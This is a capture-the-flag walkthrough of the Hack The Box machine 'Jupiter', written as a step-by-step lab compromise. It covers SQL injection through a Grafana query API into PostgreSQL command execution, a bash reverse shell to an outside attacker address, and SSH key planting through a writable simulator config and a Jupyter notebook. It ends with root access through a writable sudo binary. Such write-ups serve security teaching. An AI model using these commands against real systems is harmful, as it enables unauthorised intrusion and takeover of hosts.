Jupiter

Creator: mto

Machine URL: https://app.hackthebox.com/machines/Jupiter

Difficulty: Medium


Initial enumeration

We start with an nmap scan:

# Nmap 7.93 scan initiated Sat Jun  3 21:07:11 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.173.230
Nmap scan report for 10.129.173.230
Host is up, received echo-reply ttl 63 (0.033s latency).
Scanned at 2023-06-03 21:07:12 CEST for 25s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ac5bbe792dc97a00ed9ae62b2d0e9b32 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEJSyKmXs5CCnonRCBuHkCBcdQ54oZCUcnlsey3u2/vMXACoH79dGbOmIHBTG7/GmSI/j031yFmdOL+652mKGUI=
|   256 6001d7db927b13f0ba20c6c900a71b41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHhClp0ailXIfO0/6yw9M1pRcZ0ZeOmPx22sO476W4lQ
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun  3 21:07:37 2023 -- 1 IP address (1 host up) scanned in 25.37 seconds

Only two ports are open: 22 for OpenSSH and 80 for nginx.
We add jupiter.htb to the /etc/hosts file.

As we don’t have much of a choice here, let’s start with the web server.

jupiter.htb

http://jupiter.htb

We are greeted by a website for a planetary observation services company.

jupiter.htb

After walking through the website we discover index.html, about.html, services.html, contact.html, and portfolio.html.
All of them are static HTML pages and we find no functionality that we can interact with – the forms do not POST the data anywhere.

It’s time to fuzz.

ffuf

A quick directory fuzzing yields us http://jupiter.htb/Source/.
However, it’s 403 Forbidden, and all attempts to bypass it do not succeed.

Fuzzing for subdomains gives us more promising results:

┌──(fluff㉿kali)-[/opt/ctf/htb/jupiter]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://jupiter.htb" -H "Host: FUZZ.jupiter.htb" -mc all -fl 8
...
[Status: 200, Size: 34304, Words: 2150, Lines: 212, Duration: 69ms]
    * FUZZ: kiosk
...

We add kiosk.jupiter.htb to our /etc/hosts.

kiosk.jupiter.htb

http://kiosk.jupiter.htb

We are greeted by a Grafana instance.

kiosk.jupiter.htb

On the login page we can see the Grafana version.
A quick search for vulnerabilities doesn’t yield promising results and the version is fairly recent.

However, as we browse the Dashboard we notice a bunch of fetches in the browser Dev Tools (or Burp/ZAP):

Interesting queries

Open full image

These are POST requests to http://kiosk.jupiter.htb/api/ds/query.
The posted data includes a full SQL query to postgres:

{
  "queries": [
    {
      "refId": "A",
      "datasource": {
        "type": "postgres",
        "uid": "YItSLg-Vz"
      },
      "rawSql": "select \n  name as \"Name\", \n  parent as \"Parent Planet\", \n  meaning as \"Name Meaning\" \nfrom \n  moons \nwhere \n  parent = 'Neptune' \norder by \n  name desc;",
      "format": "table",
      "datasourceId": 1,
      "intervalMs": 60000,
      "maxDataPoints": 1127
    }
  ],
  "range": {
    "from": "2023-06-04T19:19:48.682Z",
    "to": "2023-06-05T01:19:48.682Z",
    "raw": {
      "from": "now-6h",
      "to": "now"
    }
  },
  "from": "1685906388682",
  "to": "1685927988682"
}

We likely have a SQL Injection here, as we control not just the part of the query – we control it fully.
Let’s change the query in rawSql to confirm it.

{
  "queries": [
    {
      "refId": "A",
      "datasource": {
        "type": "postgres",
        "uid": "YItSLg-Vz"
      },
      "rawSql": "select version();",
      "format": "table",
      "datasourceId": 1,
      "intervalMs": 60000,
      "maxDataPoints": 1127
    }
  ],
  "range": {
    "from": "2023-06-03T13:50:41.971Z",
    "to": "2023-06-03T19:50:41.971Z",
    "raw": {
      "from": "now-6h",
      "to": "now"
    }
  },
  "from": "1685800241971",
  "to": "1685821841971"
}

SQL Injection confirmed

As expected, we get a PostgreSQL version in the response.

SQL Injection in /api/ds/query -> RCE

After enumerating the tables and not finding anything of interest we check if we are a superuser:

SHOW is_superuser;

We get on in the response.
Let’s check if we have Command Execution.

DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;DROP TABLE IF EXISTS cmd_exec;

RCE

Yes, we do!

Reverse shell

DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.90/443 0>&1\"';

We catch a shell as postgres.

Note: I had some issues with spawning a tty with python. It got quickly killed.
Just spawn another shell to avoid this.

postgres

After checking open ports we discover something interesting:

postgres@jupiter:/tmp$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1102/postgres
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Something runs locally on TCP 8888.

postgres@jupiter:/tmp$ curl http://127.0.0.1:8888 -sL | grep '<title'
    <title>Jupyter Notebook</title>

It’s Jupyter Notebook.

postgres@jupiter:/tmp$ ps fauxwww | grep jupyter
jovian      1087  0.0  1.7  83356 68068 ?        S    01:01   0:00 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb

And it’s being executed by user jovian from /opt/solar-flares/flares.ipynb.

Attempting to access Jupyter Notebook

Let’s use chisel to access it.

chisel

┌──(fluff㉿kali)-[/tmp]
└─$ /opt/tools/chisel/chisel_amd64 server -p 9999 --reverse &
postgres@jupiter:/tmp$ ./chisel_amd64 client 10.10.14.90:9999 R:socks &

We get a SOCKS5 proxy on port 1080.
After setting it up in our browser we can access Jupyter at http://127.0.0.1:8888.

Jupyter Notebook

Unfortunately, we need a token to log in.
After not finding any way to obtain the token we take note of this and move on with our enumeration.

pspy

pspy shows us that a user with UID 1000 (juno) is regularly executing something:

2023/06/05 02:08:01 CMD: UID=1000  PID=2429   | /bin/sh -c /home/juno/shadow-simulation.sh
2023/06/05 02:08:01 CMD: UID=1000  PID=2430   | /bin/bash /home/juno/shadow-simulation.sh
2023/06/05 02:08:01 CMD: UID=1000  PID=2431   | rm -rf /dev/shm/shadow.data
2023/06/05 02:08:01 CMD: UID=1000  PID=2432   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/06/05 02:08:01 CMD: UID=1000  PID=2435   | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/06/05 02:08:01 CMD: UID=1000  PID=2436   | lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/06/05 02:08:01 CMD: UID=1000  PID=2441   | /usr/bin/python3 -m http.server 80
2023/06/05 02:08:01 CMD: UID=1000  PID=2442   | /usr/bin/curl -s server
2023/06/05 02:08:01 CMD: UID=1000  PID=2444   | /usr/bin/curl -s server
2023/06/05 02:08:01 CMD: UID=1000  PID=2446   | /usr/bin/curl -s server
2023/06/05 02:08:01 CMD: UID=1000  PID=2451   | cp -a /home/juno/shadow/examples/http-server/network-simulation.yml /dev/shm/

Let’s check /dev/shm/network-simulation.yml which is passed as an argument to /home/juno/.local/bin/shadow.

network-simulation.yml

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
      - path: /usr/bin/python3
        args: -m http.server 80
        start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
      - path: /usr/bin/curl
        args: -s server
        start_time: 5s
postgres@jupiter:/tmp$ ls -la /dev/shm/network-simulation.yml
-rw-rw-rw- 1 juno juno 815 Mar  7 12:28 /dev/shm/network-simulation.yml

This looks like some kind of YAML config and it’s world-writable.

After a quick search, we find out what it is – The Shadow Simulator.

Shadow is a discrete-event network simulator that directly executes real application code, enabling you to simulate distributed systems with thousands of network-connected processes in realistic and scalable private network experiments using your laptop, desktop, or server running Linux.

It’s a network simulator that executes real Linux binaries. And we control its configuration.
Let’s abuse it to obtain access as juno.

Privesc to juno

The YAML file seems pretty simple. We can set the binary to execute and its arguments.
To gain access we will attempt to write our SSH public key to juno’s autorized_keys file.

First, we generate a key pair with ssh-keygen, write it to /tmp, and make it world-readable.

postgres@jupiter:/tmp$ echo 'ssh-rsa <PUBLIC_KEY> fluff@kali' > /tmp/juno_rsa.pub
postgres@jupiter:/tmp$ chmod 666 /tmp/juno_rsa.pub

Next, we craft a malicious config file and write it to /dev/shm/network-simulation.yml.

general:
  stop_time: 10s
  model_unblocked_syscall_latency: true

network:
  graph:
    type: 1_gbit_switch

hosts:
  server:
    network_node_id: 0
    processes:
      - path: touch
        args: /home/juno/.ssh/authorized_keys
        start_time: 3s
      - path: cp
        args: /tmp/juno_rsa.pub
          /home/juno/.ssh/authorized_keys
        start_time: 3s
      - path: chmod
        args: 600 /home/juno/.ssh/authorized_keys
        start_time: 3s

It will run the following commands:

  • touch /home/juno/.ssh/authorized_keys
    Creates a file (in case it doesn’t exist so it has a proper owner).
  • cp /tmp/juno_rsa.pub /home/juno/.ssh/authorized_keys
    Copies our public key to authorized_keys.
  • chmod 600 /home/juno/.ssh/authorized_keys
    Sets required permissions for the file (in case it didn’t exist and touch had a wrong umask).

Note: I was unable to make bash or redirects work, so i am using cp instead of usual echo > to copy the key into a desired location.

We wait for shadow to execute and can SSH as juno.

┌──(fluff㉿kali)-[/opt/ctf/htb/_completed/jupiter]
└─$ ssh [email protected] -i juno_rsa
...
juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)

juno

Grab a user flag in /home/juno/user.txt.

After executing the id command we see an unusual group – science.

juno@jupiter:~$ cat /etc/group | grep science
science❌1001:juno,jovian

juno and jovian are its members.

juno@jupiter:~$ find / -group science 2>/dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv

/opt/solar-flares is the location of Jupyter Notebook that jovian is running.
Let’s inspect the logs folder more closely:

juno@jupiter:/opt/solar-flares/logs$ ls -la
total 108
drwxrwxr-t 2 jovian science 4096 Jun  5 01:01 .
drwxrwx--- 4 jovian science 4096 May  4 18:59 ..
-rw-rw-r-- 1 jovian science 3137 Mar  9 11:59 jupyter-2023-03-08-14.log
-rw-rw-r-- 1 jovian science 1166 Mar  8 11:38 jupyter-2023-03-08-36.log
...
-rw-rw-r-- 1 jovian jovian  1167 May  5 12:00 jupyter-2023-05-05-54.log
-rw-rw-r-- 1 jovian jovian  1762 Jun  5 01:55 jupyter-2023-06-05-01.log

There are more logs without the science group but they are all world-readable and we have the read permissions over the folder itself.
Let’s check the log marked with today’s date (2023-06-05 at the time of writing).

juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-06-05-01.log
[W 01:01:52.449 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 01:01:52.457 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 01:01:52.458 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 01:01:52.458 NotebookApp] http://localhost:8888/?token=72b5efa389d34d2a44a0f41e0d1d2fbece5552c3c16a90e0
[I 01:01:52.458 NotebookApp]  or http://127.0.0.1:8888/?token=72b5efa389d34d2a44a0f41e0d1d2fbece5552c3c16a90e0
[I 01:01:52.458 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 01:01:52.462 NotebookApp] No web browser found: could not locate runnable browser.
[C 01:01:52.463 NotebookApp]

    To access the notebook, open this file in a browser:
        file:///home/jovian/.local/share/jupyter/runtime/nbserver-1087-open.html
    Or copy and paste one of these URLs:
        http://localhost:8888/?token=72b5efa389d34d2a44a0f41e0d1d2fbece5552c3c16a90e0
     or http://127.0.0.1:8888/?token=72b5efa389d34d2a44a0f41e0d1d2fbece5552c3c16a90e0

We now have a token to access the Jupyter Notebook and chisel is still up.

Privesc to jovian

After using the token to log in to Jupyter Notebook at http://127.0.0.1:8888 we can open the flares.ipynb notebook – http://127.0.0.1:8888/notebooks/flares.ipynb.

Jupyter can execute the inline Python code.
Let’s write our SSH public key again, but this one to jovian’s home folder.

In the inline code block replace the existing Python code with the following:

import os
os.system('mkdir ~/.ssh')
os.system('echo "ssh-rsa <PUBLIC_KEY> fluff@kali" > ~/.ssh/authorized_keys')
os.system('chmod 600 ~/.ssh/authorized_keys')

And click the “Run” button on the toolbar (or use Ctrl+Enter).
The result should be 0.

We can now SSH as jovian.

jovian

jovian is a member of the sudo group:

jovian@jupiter:~$ id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

We can run /usr/local/bin/sattrack as root.

jovian@jupiter:/tmp$ ls -la /usr/local/bin/sattrack
-rwxrwxr-x 1 jovian jovian 1113632 Mar  8 12:07 /usr/local/bin/sattrack

And we have the write permissions over this binary.

Privesc to root

We can just replace this binary with bash and use sudo to execute it as root.

jovian@jupiter:/tmp$ cp /usr/bin/bash /usr/local/bin/sattrack
jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack

We are root!
Grab the root flag in /root/root.txt and we are done.